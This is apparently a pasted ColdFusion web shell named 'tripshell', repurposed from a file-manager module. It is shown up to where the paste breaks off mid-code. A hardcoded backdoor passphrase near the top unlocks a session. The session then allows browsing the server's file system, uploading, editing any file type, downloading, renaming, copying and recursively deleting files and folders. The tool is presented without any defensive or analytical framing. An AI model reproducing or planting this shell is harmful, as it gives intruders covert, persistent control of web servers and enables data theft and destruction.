· 4 years ago · Dec 27, 2020, 01:58 AM
1<html>
2<body>
3<!---
4 Created by S?bastien Denis -
5 1.0 : 23-nov-2004
6 1.1 : 03-fev-2005 - new action: synchronize
7 ============================================================================
8 The FileManager can be use as a common file manager or as a CFMODULE use inside an application.
9 ============================================================================
10 Depending of the action (fuseaction attributes), the other attributes are...
11 FUSEACTION OTHER ATTRIBUTES
12 ============================================================================
13 PASSWORD
14 If password is required to access the module.
15 Display a form to enter password.
16 PASSWORDHASH
17 Hash the password.
18 HOME
19 Display the file manager.
20 PATH (default= current path)
21 EDITEXTENSIONS (list of extensions to enable file edition)
22 GETDIR (default = current folder)
23 SEARCH
24 Perform a search.
25 Return a query GETDIR and a call to fuseaction = HOME with this query.
26 SEARCHNAME (reg exp corresponding to file/folder name)
27 SEARCHTEXT (reg exp corresponding to file content)
28 RECURSIVE (optional recursive search: 0/1 - default = 0)
29 MAXSEARCHRESULT (number of result: n - default = 1)
30 EDIT
31 Edit a file
32 EDITEXTENSIONS (list of extension - show the EDIT button)
33 (default = txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,reg,xml,dtd,xslt)
34 If "ALL", all files are editable
35 PATH
36 FILE
37 WRITE
38 Write the edited file
39 PATH
40 FILE
41 FILENEWCONTENT
42 UPLOAD PATH, NBROFUPLOAD (number of the maximum file to upload at once - default is 20)
43 DOWNLOAD PATH, FILE
44 ADDDIR PATH, DIRNEW
45 ADDFILE PATH, FILENEW
46 RENAMEFILE PATH, FILE, FILENEW
47 RENAMEDIR PATH, DIR, DIRNEW
48 COPYFILE PATH, FILE, PATHNEW (with the new file name)
49 COPYDIR PATH, DIR, PATHNEW (with the new folder name)
50 MOVEFILE PATH, FILE, PATHNEW (without the new file name)
51 MOVEDIR PATH, DIR, PATHNEW (without the new folder name)
52 DELETEFILE PATH, FILE
53 DELETEDIR PATH, DIR
54 DELETEDIRRECURSIVE PATH, DIR
55 SYNCDIR PATH, PATHNEW (path; origin, pathNew: destination), OVERWRITEALL
56
57 Other attributes:
58 ============================================================================
59 thisModule the path to this module (cfmodule)
60 default = listLast(cgi.script_name,"/\")
61 relocate 0/1 (default 1, 0 in recursive call)
62 CheckPassword default = ""
63 To compare with H to allow access to module
64 If no correspondance => fuseaction = password
65 If checkPassword = "" => No access control.
66 H The Hashed password always required if checkPassword neq "".
67 PATHALLOWED The path beyond which the module cannot go.
68 default = "" meaning no limits.
69 STYLE 0/1 (default = 1) include basic style.
70 --->
71
72<cftry>
73
74<CFAPPLICATION NAME="tripshell" SESSIONMANAGEMENT="Yes" SESSIONTIMEOUT="#CreateTimeSpan(0, 0, 20, 0)#">
75
76 <cfif (IsDefined("Session.tripshell") AND Session.tripshell EQ "ok") OR (IsDefined("form.code") AND form.code EQ "h4xz0r666")>
77 <b>Ok all good</b>
78 <cfset session.tripshell='ok'>
79
80
81<!--- ************ Personal parameter *************** --->
82<cfset attributes.editExtensions = "ALL">
83<!--- ************ Personal parameter *************** --->
84
85<cfsetting requestTimeout = 1000>
86<!--- formurl2attributes --->
87<cfparam name="attributes" default="#structNew()#">
88<cfset structAppend(attributes,form,"no")>
89<cfset structAppend(attributes,url,"no")>
90<!--- Default parameters --->
91<cfparam name="attributes.path" default="#expandPath(".")#">
92<cfparam name="attributes.fuseaction" default="home">
93<cfparam name="attributes.recursive" default="0">
94<cfparam name="attributes.showpath" default="0">
95<cfparam name="attributes.searchtext" default="">
96<cfparam name="attributes.searchname" default="">
97<cfparam name="attributes.maxsearchresult" default="1">
98<cfparam name="attributes.checkpassword" default="">
99<cfparam name="attributes.password" default="">
100<cfparam name="attributes.nbrOfUpload" default="20">
101<cfparam name="attributes.editExtensions" default="txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,reg,xml,dtd,xslt">
102<cfparam name="attributes.relocate" default="1">
103<cfparam name="attributes.overwriteAll" default="0">
104<cfparam name="attributes.style" default="1">
105<cfparam name="attributes.pathAllowed" default="">
106<cfparam name="attributes.thisModule" default="#listLast(cgi.script_name,"/\")#">
107<cfparam name="attributes.h" default="">
108<!--- Find delimiter and set path --->
109<cfif find("/",cgi.CF_TEMPLATE_PATH)>
110 <cfset attributes.delimiter = "/">
111<cfelse>
112 <cfset attributes.delimiter = "\">
113</cfif>
114<cfset attributes.path = reReplace(attributes.path,"\#attributes.delimiter#{2,}",attributes.delimiter,"ALL")>
115<cfif right(attributes.path,1) eq attributes.delimiter and len(attributes.path) gt 1>
116 <cfset attributes.path = left(attributes.path,len(attributes.path)-1)>
117</cfif>
118<!--- UDF --->
119<cffunction name="loc">
120 <cfargument name="qs">
121 <cfargument name="relocate">
122 <cfif relocate>
123 <cflocation url="?#qs#&path=#attributes.path#&h=#attributes.H#">
124 </cfif>
125</cffunction>
126<!--- Password check --->
127<cfif attributes.fuseaction neq "passwordHash" and attributes.checkPassword neq "">
128 <cfif isDefined("attributes.H")>
129 <cfif hash(attributes.checkpassword) neq attributes.H>
130 <cfset attributes.fuseaction = "password">
131 </cfif>
132 <cfelse>
133 <cfset attributes.fuseaction = "password">
134 </cfif>
135</cfif>
136<!--- Path check --->
137<cfif attributes.pathAllowed neq "">
138 <cfif not findNoCase(attributes.pathAllowed,attributes.path)>
139 <cfset attributes.path = attributes.pathAllowed>
140 <cfset attributes.msg = "Error: cannot go beyond ""#attributes.pathAllowed#""">
141 </cfif>
142</cfif>
143<!--- CSS Style --->
144<cfif attributes.style and attributes.relocate>
145 <style>
146 body,table,input{font:11px;font-family:verdana}
147 button, .button{font:11px;font-family:verdana;width:50;text-align:center;border:1px solid black;background-color:#EEEEEE;cursor:hand;padding:1 0 1 0;}
148 </style>
149</cfif>
150<!--- Fusebox --->
151<cfswitch expression="#attributes.fuseaction#">
152
153 <cfcase value="password">
154 <cfoutput>
155 <form action="?" method="post">
156 <input type="hidden" name="fuseaction" value="passwordHash">
157 Password: <input type="password" name="password"> <input type="submit" name="submit" value="Submit" class="button">
158 </form>
159 </cfoutput>
160 </cfcase>
161
162 <cfcase value="passwordHash">
163 <cfoutput>
164 <script>window.location.href="?h=#hash(attributes.password)#";</script>
165 </cfoutput>
166 </cfcase>
167
168 <cfcase value="home">
169 <cfoutput>
170 <title>FileManager: #attributes.path#</title>
171 <script>
172 function addDir(){
173 var sDirNew = prompt("Create folder in #JSStringFormat(attributes.path)#.\nFolder name:","");
174 if (sDirNew != null && sDirNew != ""){
175 window.location.href="?fuseaction=addDir&path=#JSStringFormat(attributes.path)#&dirNew=" + sDirNew + "&h=#attributes.h#";
176 }
177 }
178 function addFile(){
179 var sFileNew = prompt("Create file in #JSStringFormat(attributes.path)#.\nFile name:","");
180 if (sFileNew != null && sFileNew != ""){
181 window.location.href="?fuseaction=addFile&path=#JSStringFormat(attributes.path)#&fileNew=" + sFileNew + "&h=#attributes.h#";
182 }
183 }
184 function renameFile(sFile){
185 var sFileNew = prompt("New file name",sFile + "_copy");
186 if (sFileNew != null && sFileNew != "" && sFileNew != sFile){
187 window.location.href="?fuseaction=renamefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&fileNew=" + sFileNew + "&h=#attributes.h#";
188 }
189 }
190 function renameDir(sDir){
191 var sDirNew = prompt("New folder name",sDir + "_copy");
192 if (sDirNew != null && sDirNew != "" && sDirNew != sDir){
193 window.location.href="?fuseaction=renameDir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&dirNew=" + sDirNew + "&h=#attributes.h#";
194 }
195 }
196 function copyFile(sFile){
197 sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sFile;
198 var sPathNew = prompt("Destination for \"" + sFile + "\".",sDefault);
199 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
200 window.location.href="?fuseaction=copyFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";
201 }
202 }
203 function copyDir(sDir){
204 sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sDir;
205 var sPathNew = prompt("Destination for \"" + sDir + "\".\nProvide a UNEXISTANT path!",sDefault + "_copy");
206 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
207 window.location.href="?fuseaction=copydir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&pathNew=" + sPathNew + "&h=#attributes.h#";
208 }
209 }
210 function moveFile(sFile){
211 sDefault = "#JSStringFormat(attributes.path)#";
212 var sPathNew = prompt("Move \"" + sFile + "\" to:",sDefault);
213 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
214 window.location.href="?fuseaction=moveFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";
215 }
216 }
217 function moveDir(sDir){
218 sDefault = "#JSStringFormat(attributes.path)#";
219 var sPathNew = prompt("Move \"" + sDir + "\" to:",sDefault);
220 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
221 window.location.href="?fuseaction=moveDir&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&dir=" + sDir + "&h=#attributes.h#";
222 }
223 }
224 function syncDir(sDir){
225 sDefault = "#JSStringFormat(attributes.path)#" + "\\" + sDir;
226 var sPathNew = prompt("Synchronize \"" + sDefault + "\" to:",sDefault);
227 var bOverwriteAll = 0;
228 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
229 if (confirm("Do yout want to overwrite all files?\nOK: copy all files.\nCancel: copy new and modified files.")) bOverwriteAll = 1;
230 window.location.href="?fuseaction=syncDir&path=" + sDefault + "&pathNew=" + sPathNew + "&overwriteall=" + bOverwriteAll + "&h=#attributes.h#";
231 }
232 }
233 function deleteFile(sFile){
234 if (confirm("Delete \"" + sFile + "\"?"))window.location.href="?fuseaction=deletefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&h=#attributes.h#";
235 }
236 function deleteDir(sDir){
237 if (confirm("Delete \"" + sDir + "\"?"))window.location.href="?fuseaction=deletedir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&h=#attributes.h#";
238 }
239 function showNextUpload(n){
240 document.getElementById("fileUpload" + n).style.display='';
241 document.getElementById("submitUpload").style.display='';
242 }
243 </script>
244 <cfif isDefined("attributes.msg")>
245 <h4 style="color:#iif(findNoCase("error",attributes.msg),"'red'","'green'")#">#attributes.msg#</h4>
246 </cfif>
247 <cfif len(attributes.path) gt 1>
248 <cfset attributes.parentpath = listDeleteAt(attributes.path,listLen(attributes.path,attributes.delimiter),attributes.delimiter)>
249 <cfelse>
250 <cfset attributes.parentpath = "">
251 </cfif>
252 <table style="border:1 solid black">
253 <form action="?" method="post">
254 <input type="hidden" name="h" value="#attributes.h#">
255 <tr>
256 <td width="100">Parent:</td>
257 <td><a href="?path=#attributes.parentpath#&h=#attributes.h#">#attributes.parentpath#</a></td>
258 </tr>
259 <tr>
260 <td valign="top">Path:</td>
261 <td>
262 <input type="text" name="path" value="#attributes.path#" style="font-weight:bold" size="100">
263 <input type="submit" value="Submit" class="button"><br>
264 <button style="width:150" onclick="addDir()">Create a folder</button>
265 <button style="width:150" onclick="addFile()">Create a file</button>
266 </td>
267 </tr>
268 </form>
269 <form action="?" method="post">
270 <input type="hidden" name="h" value="#attributes.h#">
271 <input type="hidden" name="fuseaction" value="search">
272 <input type="hidden" name="path" value="#attributes.path#">
273 <tr>
274 <td>Search:</td>
275 <td><span style="width:150">File/folder name (RE):</span><input type="text" name="searchname" size="70" value="#attributes.searchname#"></td>
276 </tr>
277 <tr>
278 <td> </td>
279 <td><span style="width:150">Containg text (RE):</span><input type="text" name="searchtext" size="70" value="#attributes.searchtext#"></td>
280 </tr>
281 <tr>
282 <td> </td>
283 <td>
284 Recursive <input type="checkbox" name="recursive" value="1" #iif(attributes.recursive,"'checked'","''")#>
285 Max. result <select name="maxsearchresult">
286 <option value="1" #iif(attributes.maxsearchresult eq 1,"'SELECTED'","''")#>1</option>
287 <option value="5" #iif(attributes.maxsearchresult eq 5,"'SELECTED'","''")#>5</option>
288 <option value="10" #iif(attributes.maxsearchresult eq 10,"'SELECTED'","''")#>10</option>
289 <option value="50" #iif(attributes.maxsearchresult eq 50,"'SELECTED'","''")#>50</option>
290 <option value="100" #iif(attributes.maxsearchresult eq 100,"'SELECTED'","''")#>100</option>
291 </select>
292 <input type="submit" value="Submit" class="button"></td>
293 </tr>
294 </form>
295 <form action="?" method="post" enctype="multipart/form-data">
296 <input type="hidden" name="h" value="#attributes.h#">
297 <input type="hidden" name="fuseaction" value="upload">
298 <input type="hidden" name="path" value="#attributes.path#">
299 <tr>
300 <td valign="top">Upload:</td>
301 <td>
302 <span style="width:20">1.</span><input type="File" name="file1" size="70" onchange="showNextUpload(2)">
303 <input type="checkbox" name="overwrite1">Overwrite
304 <cfloop index="i" from="2" to="#attributes.nbrOfUpload#">
305 <div id="fileUpload#i#" style="display:'none'">
306 <span style="width:20">#i#.</span><input type="File" name="file#i#" size="70" onchange="showNextUpload(#i+1#)">
307 <input type="checkbox" name="overwrite#i#">Overwrite
308 </div>
309 </cfloop>
310 <input type="submit" value="Upload" name="submitUpload" class="button" style="display:'none'">
311 </td>
312 </tr>
313 </form>
314 </table>
315 </cfoutput>
316 <cfflush>
317 <cfif not isDefined("attributes.getDir")>
318 <cfdirectory action="LIST" directory="#attributes.path#" name="attributes.getDir">
319 </cfif>
320 <br>
321 <table style="border:1 solid black">
322 <tr bgcolor="#c0c0c0">
323 <th> </th>
324 <cfset colspan = 1>
325 <cfif attributes.showpath>
326 <cfset colspan = 2>
327 <th>Path</th>
328 </cfif>
329 <th>Name</th>
330 <th>Actions</th>
331 <th>Size</th>
332 <th>Attr.</th>
333 <th>Modif. date</th>
334 </tr>
335 <cfoutput>
336 <tr>
337 <td colspan="#colspan#"><hr size="1"></td>
338 <td align="center"><b>F o l d e r s</b></td>
339 <td colspan="10"><hr size="1"></td>
340 </tr>
341 </cfoutput>
342 <cfset i = 0>
343 <cfoutput query="attributes.getDir">
344 <cfif type eq "dir" and name neq "." and name neq "..">
345 <cfset i = i + 1>
346 <tr bgcolor="#iif(evaluate(i Mod 2),"'F2F2F2'","'EFEFE2'")#">
347 <td>#i#.</td>
348 <cfif attributes.showpath>
349 <td><a href="?path=#path#&h=#attributes.h#" style="text-decoration:none">#path#</a></td>
350 <td><a href="?path=#path##attributes.delimiter##name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
351 <td><a onclick="window.location.href='?path=#JSStringFormat("#path##attributes.delimiter##name#&h=#attributes.h#")#'" class="button">Open</a></td>
352 <cfelse>
353 <td><a href="?path=#attributes.path##attributes.delimiter##name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
354 <td>
355 <a onclick="window.location.href='?path=#JSStringFormat(attributes.path & attributes.delimiter)##name#&h=#attributes.h#'" class="button">Open</a>
356 <a onclick="renameDir('#name#')" class="button">Rename</a>
357 <a onclick="copyDir('#name#')" class="button">Copy</a>
358 <a onclick="moveDir('#name#')" class="button">Move</a>
359 <a onclick="deleteDir('#name#')" class="button" style="color:red">Delete</a>
360 <a onclick="syncDir('#name#')" class="button">Sync.</a>
361 </td>
362 </cfif>
363 <td> </td>
364 <td>#ATTRIBUTES# </td>
365 <td>#DATELASTMODIFIED#</td>
366 </tr>
367 </cfif>
368 </cfoutput>
369 <cfoutput>
370 <tr>
371 <td colspan="#colspan#"><hr size="1"></td>
372 <td align="center"><b>F i l e s</b></td>
373 <td colspan="10"><hr size="1"></td>
374 </tr>
375 </cfoutput>
376 <cfoutput query="attributes.getDir">
377 <cfif type eq "file">
378 <cfset i = i + 1>
379 <tr bgcolor="#iif(evaluate(i Mod 2),"'F2F2F2'","'EFEFE2'")#">
380 <td>#i#.</td>
381 <cfif attributes.showpath>
382 <td><a href="?path=#path#&h=#attributes.h#" style="text-decoration:none">#path#</a></td>
383 <td><a href="?fuseaction=download&path=#path#&file=#name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
384 <cfif attributes.editExtensions eq "ALL" or listFindNoCase(attributes.editExtensions,listLast(name,"."))>
385 <td>
386 <a onclick="window.location.href='?fuseaction=edit&path=#JSStringFormat(path)#&h=#attributes.h#&file=#name#'" class="button">Edit</a>
387 <a onclick="window.location.href='?fuseaction=download&path=#JSStringFormat(path)#&h=#attributes.h#&file=#name#'" class="button">Down.</a>
388 </td>
389 </cfif>
390 <cfelse>
391 <td><a href="?fuseaction=download&path=#attributes.path#&file=#name#&h=#attributes.h#" style="text-decoration:none">#name#</a></td>
392 <td>
393 <a onclick="window.location.href='?fuseaction=download&path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#name#'" class="button">Down.</a>
394 <a onclick="renameFile('#name#')" class="button">Rename</a>
395 <a onclick="copyFile('#name#')" class="button">Copy</a>
396 <a onclick="moveFile('#name#')" class="button">Move</a>
397 <a onclick="deleteFile('#name#')" class="button" style="color:red">Delete</a>
398 <cfif attributes.editExtensions eq "ALL" or listFindNoCase(attributes.editExtensions,listLast(name,"."))>
399 <a onclick="window.location.href='?fuseaction=edit&path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#name#'" class="button">Edit</a>
400 </cfif>
401 <cfif Find("R",attributes)>
402 <a onclick="window.location.href='?fuseaction=removeR&path=#JSStringFormat(attributes.path)#&file=#name#&fileNew=#name#&h=#attributes.h#'" class="button">Rem RO</a>
403 </cfif>
404 </td>
405 </cfif>
406 <td align="right">#numberFormat(size)# B</td>
407 <td>#ATTRIBUTES# </td>
408 <td>#DATELASTMODIFIED#</td>
409 </tr>
410 </cfif>
411 </cfoutput>
412 </table>
413 </cfcase>
414
415 <cfcase value="edit">
416 <cfoutput><title>FileManager: #attributes.file#</title></cfoutput>
417 <cffile action="READ" file="#attributes.path##attributes.delimiter##attributes.file#" variable="filecontent">
418 <cfdirectory action="LIST" directory="#attributes.path##attributes.delimiter#" filter="#attributes.file#" name="getFile">
419 <cfif findNoCase("R",getFile.attributes[1])>
420 <cfoutput>
421 <div>
422 <span style="color:red;font-weight:bold">This file is READ-ONLY</span>
423 <button onclick="window.location.href='?fuseaction=removeR&path=#JSStringFormat(attributes.path)#&file=#attributes.file#&fileNew=#attributes.file#&after=edit&h=#attributes.h#'" style="width:150">Remove Read-Only</button>
424 <button onclick="history.back()">Back</button>
425 </div>
426 <pre style="width:100%;height:95%;border:2 solid black">#htmlEditFormat(filecontent)#</pre>
427 </cfoutput>
428 <cfelse>
429 <cfoutput>
430 <form action="?" method="post">
431 <input type="submit" value="Save Back" style="width:100" class="button">
432 <input type="submit" value="Save" onclick="document.all.fuseactionNext.value='edit'" class="button">
433 <button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button>
434 Size: #numberFormat(getFile.size)#B | Date: #getFile.dateLastModified#
435 <input type="hidden" name="h" value="#attributes.h#">
436 <input type="hidden" name="fuseaction" value="write">
437 <input type="hidden" name="fuseactionNext" value="home">
438 <input type="hidden" name="path" value="#attributes.path#">
439 <input type="hidden" name="file" value="#attributes.file#">
440 <textarea style="width:100%;height:95%" name="fileNewContent" style="font-size:11px">#htmlEditFormat(filecontent)#</textarea>
441 <div>
442 <input type="submit" value="Save Back" style="width:100" class="button">
443 <input type="submit" value="Save" onclick="document.all.fuseactionNext.value='edit'" class="button">
444 <button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button>
445 </div>
446 </form>
447 </cfoutput>
448 </cfif>
449 </cfcase>
450
451 <cfcase value="write">
452 <cftry>
453 <cffile action="DELETE" file="#attributes.path##attributes.delimiter##attributes.file#">
454 <cffile action="WRITE" file="#attributes.path##attributes.delimiter##attributes.file#" output="#attributes.fileNewContent#" addnewline="No">
455 <cfoutput>#loc("fuseaction=#attributes.fuseactionNext#&file=#attributes.file#", attributes.relocate)#</cfoutput>
456 <cfcatch>
457 <cfoutput>#loc("msg=Error while updating file!", attributes.relocate)#</cfoutput>
458 </cfcatch>
459 </cftry>
460 </cfcase>
461
462 <cfcase value="upload">
463 <cfset msg = "Upload Result:">
464 <cfloop index="i" from="1" to="#attributes.nbrOfUpload#">
465 <cfif form["file#i#"] neq "">
466 <cftry>
467 <cffile action="UPLOAD"
468 filefield="form.file#i#"
469 destination="#attributes.path#"
470 nameconflict="#iif(isDefined("attributes.overwrite#i#"),"'OVERWRITE'","'Error'")#">
471 <cfset msg = "#msg#\n - File #i#: OK">
472 <cfcatch>
473 <cfset msg = "#msg#\n - File #i#: ERROR">
474 </cfcatch>
475 </cftry>
476 </cfif>
477 </cfloop>
478 <cfoutput>#loc("", attributes.relocate)#</cfoutput>
479 </cfcase>
480
481 <cfcase value="download">
482 <cfheader name="Content-disposition" value="attachment; filename=#attributes.file#">
483 <cfcontent file="#attributes.path##attributes.delimiter##attributes.File#">
484 </cfcase>
485
486 <cfcase value="deleteFile">
487 <cftry>
488 <cffile action="delete" file="#attributes.path##attributes.delimiter##attributes.file#">
489 <cfoutput>#loc("msg=File deleted!", attributes.relocate)#</cfoutput>
490 <cfcatch>
491 <cfoutput>#loc("msg=Error: file not deleted!", attributes.relocate)#</cfoutput>
492 </cfcatch>
493 </cftry>
494 </cfcase>
495
496 <cfcase value="deleteDir">
497 <cftry>
498 <cfdirectory action="DELETE" directory="#attributes.path##attributes.delimiter##attributes.dir#">
499 <cfoutput>#loc("msg=Folder deleted!", attributes.relocate)#</cfoutput>
500 <cfcatch>
501 <cfoutput>#loc("fuseaction=deletedirRecursiveConfirm&dir=#attributes.dir#", attributes.relocate)#</cfoutput>
502 </cfcatch>
503 </cftry>
504 </cfcase>
505
506 <cfcase value="deleteDirRecursiveConfirm">
507 <cfoutput>
508 <script>
509 if(confirm("Folder not deleted. It may contains files or folders.\nTry recursive delete?")) window.location.href="?fuseaction=deletedirRecursive&path=#jsStringFormat(attributes.path)#&dir=#jsStringFormat(attributes.dir)#&h=#attributes.h#";
510 else window.location.href="?path=#jsStringFormat(attributes.path)#&h=#attributes.h#";
511 </script>
512 </cfoutput>
513 </cfcase>
514
515 <cfcase value="deleteDirRecursive">
516 <cfdirectory action="LIST" name="attributes.getDir" directory="#attributes.path##attributes.delimiter##attributes.dir#">
517 <cfoutput><h3>#attributes.path##attributes.delimiter##attributes.dir#</h3></cfoutput>
518 <!--- Delete files --->
519 <cfloop query="attributes.getDir">
520 <cfif type eq "file">
521 <cftry>
522 <cffile action="delete" file="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#">
523 <cfoutput>
524 <div>
525 <span style="width:100">FILE:</span>
526 #attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter#<b>#name#</b>
527 </div>
528 </cfoutput>
529 <cfcatch/>
530 </cftry>
531 </cfif>
532 </cfloop>
533 <!--- Delete sub-folder --->
534 <cfloop query="attributes.getDir">
535 <cfif type eq "dir">
536 <cfmodule template="#attributes.thisModule#"
537 fuseaction="deleteDirRecursive"
538 h="#attributes.H#"
539 path="#attributes.path##attributes.delimiter##attributes.dir#"
540 dir="#name#"
541 relocate="0">
542 </cfif>
543 </cfloop>
544 <cftry>
545 <cfdirectory action="DELETE" directory="#attributes.path##attributes.delimiter##attributes.dir#">
546 <cfoutput>
547 <div>
548 <span style="width:100">FOLDER:</span>
549 #attributes.path##attributes.delimiter#<b>#attributes.dir#</b>
550 </div>
551 </cfoutput>
552 <cfcatch/>
553 </cftry>
554 <cfflush>
555 <cfif attributes.relocate>
556 <cfoutput>
557 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Deletion done! Back to <b>#attributes.path#</b></button>
558 </cfoutput>
559 </cfif>
560 </cfcase>
561
562 <cfcase value="addDir">
563 <cftry>
564 <cfdirectory action="CREATE" directory="#attributes.path##attributes.delimiter##attributes.dirNew#">
565 <cfoutput>#loc("msg=Folder created!", attributes.relocate)#</cfoutput>
566 <cfcatch>
567 <cfoutput>#loc("msg=Error: folder not created!", attributes.relocate)#</cfoutput>
568 </cfcatch>
569 </cftry>
570 </cfcase>
571
572 <cfcase value="addFile">
573 <cftry>
574 <cffile action="WRITE" file="#attributes.path##attributes.delimiter##attributes.fileNew#" output="">
575 <cfoutput>#loc("msg=File created!", attributes.relocate)#</cfoutput>
576 <cfcatch>
577 <cfoutput>#loc("msg=Error: file not created!", attributes.relocate)#</cfoutput>
578 </cfcatch>
579 </cftry>
580 </cfcase>
581
582 <cfcase value="copyFile">
583 <cfif fileExists("#attributes.pathNew#")>
584 <cfoutput>
585 <script>
586 alert("This file already exists!");
587 history.back();
588 </script>
589 </cfoutput>
590 <cfabort>
591 </cfif>
592 <cftry>
593 <cfset pathTry = listDeleteAt(attributes.pathNew,listLen(attributes.pathNew,"/\"),"/\")>
594 <cfdirectory action="CREATE" directory="#pathTry#">
595 <cfcatch/>
596 </cftry>
597 <cftry>
598 <cffile action="COPY" source="#attributes.path##attributes.delimiter##attributes.file#"
599 destination="#attributes.pathNew#">
600 <cfif attributes.relocate>
601 <cfoutput>#loc("msg=File copied!", attributes.relocate)#</cfoutput>
602 </cfif>
603 <cfcatch>
604 <cfif attributes.relocate>
605 <cfoutput>#loc("msg=Error: file not copied", attributes.relocate)#</cfoutput>
606 </cfif>
607 </cfcatch>
608 </cftry>
609 </cfcase>
610
611 <cfcase value="copyDir">
612 <cfif DirectoryExists("#attributes.pathNew#")>
613 <cfoutput>
614 <script>
615 alert("This folder already exists!\nPlease use synchronize function.");
616 history.back();
617 </script>
618 </cfoutput>
619 <cfabort>
620 </cfif>
621 <cfdirectory directory="#attributes.path##attributes.delimiter##attributes.dir#" name="attributes.getDir">
622 <!--- create main folder --->
623 <cftry>
624 <cfdirectory action="CREATE" directory="#attributes.pathNew#">
625 <cfoutput><h3>#attributes.pathNew#</h3></cfoutput>
626 <cfcatch/>
627 </cftry>
628 <!--- copy folder content - Recursive copy --->
629 <cfloop query="attributes.getDir">
630 <cfif type eq "file">
631 <cffile
632 action="COPY"
633 source="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#"
634 destination="#attributes.pathNew##attributes.delimiter##name#"
635 attributes="Normal">
636 <cfoutput><div>#attributes.pathNew##attributes.delimiter#<b>#name#</b></div></cfoutput>
637 <cfflush>
638 </cfif>
639 </cfloop>
640 <cfloop query="attributes.getDir">
641 <cfif type eq "dir">
642 <cfmodule
643 fuseaction="copyDir"
644 template="#attributes.thisModule#"
645 h="#attributes.H#"
646 path="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter#"
647 dir="#name#"
648 pathNew="#attributes.pathNew##attributes.delimiter##name#"
649 relocate="0">
650 </cfif>
651 </cfloop>
652 <cfif attributes.relocate>
653 <cfoutput>
654 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Copy done! Back to <b>#attributes.path#</b></button>
655 </cfoutput>
656 </cfif>
657 </cfcase>
658
659 <cfcase value="renameFile">
660 <cfif fileExists("#attributes.path##attributes.delimiter##attributes.fileNew#")>
661 <cfoutput>
662 <script>
663 alert("This file already exists!");
664 history.back();
665 </script>
666 </cfoutput>
667 <cfabort>
668 </cfif>
669 <cftry>
670 <cffile action="rename" source="#attributes.path##attributes.delimiter##attributes.file#" destination="#attributes.path##attributes.delimiter##attributes.fileNew#" attributes="normal">
671 <cfoutput>#loc("msg=File updated!", attributes.relocate)#</cfoutput>
672 <cfcatch>
673 <cfoutput>#loc("msg=Error while updating file!", attributes.relocate)#</cfoutput>
674 </cfcatch>
675 </cftry>
676 </cfcase>
677
678 <cfcase value="removeR">
679 <cftry>
680 <cffile action="rename" source="#attributes.path##attributes.delimiter##attributes.file#" destination="#attributes.path##attributes.delimiter##attributes.fileNew#" attributes="normal">
681 <cfset qs = "">
682 <cfif isDefined("attributes.after") and attributes.after eq "edit">
683 <cfset qs = "fuseaction=edit&file=#attributes.file#&">
684 </cfif>
685 <cfoutput>#loc("#qs#msg=File updated!", attributes.relocate)#</cfoutput>
686 <cfcatch>
687 <cfoutput>#loc("#qs#msg=Error while updating file!", attributes.relocate)#</cfoutput>
688 </cfcatch>
689 </cftry>
690 </cfcase>
691
692 <cfcase value="renameDir">
693 <cfif DirectoryExists("#attributes.path##attributes.delimiter##attributes.dirNew#")>
694 <cfoutput>
695 <script>
696 alert("This folder already exists!");
697 history.back();
698 </script>
699 </cfoutput>
700 <cfabort>
701 </cfif>
702 <h2>Rename folder - step 1: copy files</h2>
703 <cfmodule template="#attributes.thisModule#"
704 fuseaction="copyDir"
705 h="#attributes.h#"
706 path="#attributes.path#"
707 pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"
708 pathNew="#attributes.path##attributes.delimiter##attributes.dirNew#"
709 relocate="0">
710 <h2>Rename folder - step 2: delete files</h2>
711 <cfmodule template="#attributes.thisModule#"
712 fuseaction="deleteDirRecursive"
713 h="#attributes.h#"
714 path="#attributes.path#"
715 dir="#attributes.dir#"
716 relocate="0">
717 <cfif attributes.relocate>
718 <cfoutput>
719 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?path=#jsStringFormat(attributes.path)#&h=#attributes.H#'">Rename done! Back to <b>#attributes.path#</b></button>
720 </cfoutput>
721 </cfif>
722 </cfcase>
723
724 <cfcase value="moveFile">
725 <h2>Move file - step 1: copy file</h2>
726 <cfmodule template="#attributes.thisModule#"
727 fuseaction="copyFile"
728 h="#attributes.h#"
729 path="#attributes.path#"
730 file="#attributes.file#"
731 pathNew="#attributes.pathNew#"
732 relocate="0">
733 <h2>Move file - step 2: delete file</h2>
734 <cfmodule template="#attributes.thisModule#"
735 fuseaction="deleteFile"
736 h="#attributes.h#"
737 path="#attributes.path#"
